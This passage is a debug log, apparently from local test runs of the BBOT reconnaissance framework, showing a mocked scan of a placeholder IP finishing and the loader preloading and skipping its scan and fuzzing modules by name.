15:00:13,276 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded -2026-02-27 15:00:13,277 [DEBUG] bbot.modules.shodan_idb base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET -2026-02-27 15:00:13,277 [DEBUG] bbot.modules.shodan_idb base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-02-27 15:00:13,277 [DEBUG] bbot.modules.shodan_idb base.py:1563 Handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 15:00:13,293 [VERBOSE] bbot.core.helpers.web.client logger.py:151 Creating httpx.AsyncClient((), {'transport': , 'verify': , 'timeout': 10, 'headers': {'User-Agent': 'BBOT Test User-Agent'}, 'cookies': {}, 'proxy': None}) -2026-02-27 15:00:13,298 [DEBUG] bbot.modules.shodan_idb base.py:1563 Finished handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 15:00:13,363 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) from TARGET -2026-02-27 15:00:13,364 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:08a1f7e60a83d14b4384e36d0fb626e3ab4c1783', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) passed post-check -2026-02-27 15:00:13,364 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET -2026-02-27 15:00:13,364 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-02-27 15:00:13,365 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 15:00:13,365 [DEBUG] bbot.modules.shodan_idb base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-idb'}) because its type is FINISHED -2026-02-27 15:00:13,366 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 15:00:13,366 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 15:00:13,367 [VERBOSE] bbot.scanner logger.py:151 Completed finish() -2026-02-27 15:00:13,367 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 15:00:13,367 [DEBUG] bbot.modules.shodan_idb base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-idb'}) from None -2026-02-27 15:00:13,368 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 15:00:13,468 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 15:00:13,469 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() -2026-02-27 15:00:13,478 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 15:00:13,478 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 15:00:13,479 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 15:00:13,486 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 15:00:13,486 [VERBOSE] bbot.core.dnshelper logger.py:151 EngineClient DNSHelper: shutting down... -2026-02-27 15:00:13,487 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 15:00:13,487 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal -2026-02-27 15:00:13,487 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... -2026-02-27 15:00:13,488 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down -2026-02-27 15:00:13,489 [VERBOSE] bbot.core.webhelper logger.py:151 EngineClient WebHelper: shutting down... -2026-02-27 15:00:13,490 [VERBOSE] bbot.core.httpengine logger.py:151 EngineServer HTTPEngine got shutdown signal -2026-02-27 15:00:13,490 [VERBOSE] bbot.core.httpengine logger.py:151 EngineServer HTTPEngine: shutting down... -2026-02-27 15:00:13,490 [VERBOSE] bbot.core.httpengine logger.py:151 EngineServer HTTPEngine: finished shutting down -2026-02-27 15:00:13,558 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_idb_test_2xbsmsfupf completed in 0 seconds with status FINISHED -2026-02-27 15:00:13,558 [DEBUG] bbot base.py:113 Finished shodan_idb module test -2026-02-27 15:00:13,559 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-02-27 15:00:59,945 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report -2026-02-27 15:00:59,952 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 15:00:59,953 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 15:00:59,953 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates -2026-02-27 15:00:59,954 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal -2026-02-27 15:00:59,954 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 15:00:59,955 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 15:00:59,955 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 15:00:59,956 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 15:00:59,956 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 15:00:59,957 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 15:00:59,957 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output -2026-02-27 15:00:59,957 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 15:00:59,958 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 15:00:59,958 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 15:00:59,959 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 15:00:59,959 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 15:00:59,960 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 15:00:59,960 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 15:00:59,961 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 15:00:59,961 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 15:00:59,962 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 15:00:59,962 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 15:00:59,963 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 15:00:59,963 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 15:00:59,964 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 15:00:59,964 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 15:00:59,965 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 15:00:59,965 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 15:00:59,966 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 15:00:59,966 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 15:00:59,967 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 15:00:59,967 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 15:00:59,968 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly -2026-02-27 15:00:59,968 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 15:00:59,969 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules -2026-02-27 15:00:59,969 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 15:00:59,970 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 15:00:59,970 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 15:00:59,971 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 15:00:59,971 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 15:00:59,972 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 15:00:59,972 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 15:00:59,972 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 15:00:59,973 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 15:00:59,973 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 15:00:59,973 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 15:00:59,976 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 15:00:59,976 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 15:00:59,977 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 15:00:59,977 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 15:00:59,978 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 15:00:59,978 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 15:00:59,978 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 15:00:59,979 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 15:00:59,979 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 15:00:59,980 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 15:00:59,980 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 15:00:59,981 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 15:00:59,981 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 15:00:59,982 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 15:00:59,982 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 15:00:59,982 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 15:00:59,983 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 15:00:59,983 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 15:00:59,983 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 15:00:59,984 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 15:00:59,984 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 15:00:59,985 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 15:00:59,985 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 15:00:59,986 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 15:00:59,986 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 15:00:59,987 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 15:00:59,990 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 15:00:59,990 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 15:00:59,991 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 15:00:59,991 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 15:00:59,992 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 15:00:59,992 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 15:00:59,992 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 15:00:59,993 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 15:00:59,993 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 15:00:59,993 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 15:00:59,994 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 15:00:59,995 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 15:00:59,995 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 15:00:59,996 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 15:00:59,996 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 15:00:59,997 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 15:00:59,997 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 15:00:59,997 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 15:00:59,998 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 15:00:59,998 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 15:00:59,998 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 15:00:59,999 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 15:00:59,999 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 15:01:00,000 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 15:01:00,000 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 15:01:00,001 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 15:01:00,001 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 15:01:00,002 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 15:01:00,003 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 15:01:00,003 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 15:01:00,004 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 15:01:00,004 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 15:01:00,004 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 15:01:00,005 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 15:01:00,005 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 15:01:00,006 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 15:01:00,006 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 15:01:00,006 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 15:01:00,007 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 15:01:00,007 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 15:01:00,008 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 15:01:00,008 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 15:01:00,009 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 15:01:00,009 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 15:01:00,009 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 15:01:00,010 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 15:01:00,010 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 15:01:00,011 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 15:01:00,011 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 15:01:00,012 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 15:01:00,012 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 15:01:00,013 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 15:01:00,013 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 15:01:00,014 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 15:01:00,014 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 15:01:00,014 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 15:01:00,015 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 15:01:00,015 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 15:01:00,016 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 15:01:00,016 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 15:01:00,017 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 15:01:00,017 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 15:01:00,018 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 15:01:00,018 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 15:01:00,019 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 15:01:00,019 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 15:01:00,020 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 15:01:00,020 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 15:01:00,021 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 15:01:00,021 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 15:01:00,021 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 15:01:00,022 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 15:01:00,022 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 15:01:00,022 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 15:01:00,023 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 15:01:00,023 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 15:01:00,024 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 15:01:00,024 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 15:01:00,024 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz -2026-02-27 15:01:00,025 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 15:01:00,026 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 15:01:00,026 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 15:01:00,027 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 15:01:00,027 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 15:01:00,028 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 15:01:00,029 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 15:01:00,030 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 15:01:00,031 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 15:01:00,034 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 15:01:00,034 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 15:01:00,036 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 15:01:00,036 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 15:01:00,037 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 15:01:00,038 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 15:01:00,039 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 15:01:00,039 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 15:01:00,040 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 15:01:00,967 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-02-27 15:01:00,968 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-02-27 15:01:00,968 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 15:01:01,064 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 15:01:01,475 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 15:01:01,476 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 15:01:01,476 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 15:01:01,476 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 15:01:01,611 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 15:01:01,612 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 15:01:01,719 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 15:01:02,470 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... -2026-02-27 15:01:02,472 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down -2026-02-27 17:59:09,012 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 17:59:09,023 [DEBUG] bbot.module_loader modules.py:154 Preloading asn from disk -2026-02-27 17:59:09,026 [DEBUG] bbot.module_loader modules.py:154 Preloading affiliates from disk -2026-02-27 17:59:09,027 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 17:59:09,028 [DEBUG] bbot.module_loader modules.py:154 Preloading web_parameters from disk -2026-02-27 17:59:09,029 [DEBUG] bbot.module_loader modules.py:154 Preloading discord from disk -2026-02-27 17:59:09,031 [DEBUG] bbot.module_loader modules.py:154 Preloading emails from disk -2026-02-27 17:59:09,032 [DEBUG] bbot.module_loader modules.py:154 Preloading teams from disk -2026-02-27 17:59:09,035 [DEBUG] bbot.module_loader modules.py:154 Preloading txt from disk -2026-02-27 17:59:09,036 [DEBUG] bbot.module_loader modules.py:154 Preloading neo4j from disk -2026-02-27 17:59:09,039 [DEBUG] bbot.module_loader modules.py:154 Preloading asset_inventory from disk -2026-02-27 17:59:09,044 [DEBUG] bbot.module_loader modules.py:154 Preloading sqlite from disk -2026-02-27 17:59:09,045 [DEBUG] bbot.module_loader modules.py:154 Preloading web_report from disk -2026-02-27 17:59:09,047 [DEBUG] bbot.module_loader modules.py:154 Preloading http from disk -2026-02-27 17:59:09,049 [DEBUG] bbot.module_loader modules.py:154 Preloading csv from disk -2026-02-27 17:59:09,052 [DEBUG] bbot.module_loader modules.py:154 Preloading postgres from disk -2026-02-27 17:59:09,053 [DEBUG] bbot.module_loader modules.py:154 Preloading python from disk -2026-02-27 17:59:09,054 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomains from disk -2026-02-27 17:59:09,056 [DEBUG] bbot.module_loader modules.py:154 Preloading stdout from disk -2026-02-27 17:59:09,057 [DEBUG] bbot.module_loader modules.py:154 Preloading nmap_xml from disk -2026-02-27 17:59:09,059 [DEBUG] bbot.module_loader modules.py:154 Preloading json from disk -2026-02-27 17:59:09,061 [DEBUG] bbot.module_loader modules.py:154 Preloading slack from disk -2026-02-27 17:59:09,062 [DEBUG] bbot.module_loader modules.py:154 Preloading splunk from disk -2026-02-27 17:59:09,064 [DEBUG] bbot.module_loader modules.py:154 Preloading mysql from disk -2026-02-27 17:59:09,065 [DEBUG] bbot.module_loader modules.py:154 Preloading websocket from disk -2026-02-27 17:59:09,068 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 17:59:09,069 [DEBUG] bbot.module_loader modules.py:154 Preloading lightfuzz from disk -2026-02-27 17:59:09,072 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 17:59:09,073 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 17:59:09,074 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 17:59:09,074 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 17:59:09,075 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 17:59:09,076 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 17:59:09,077 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 17:59:09,078 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 17:59:09,081 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 17:59:09,082 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 17:59:09,083 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 17:59:09,084 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 17:59:09,085 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 17:59:09,086 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 17:59:09,087 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 17:59:09,088 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 17:59:09,088 [DEBUG] bbot.module_loader 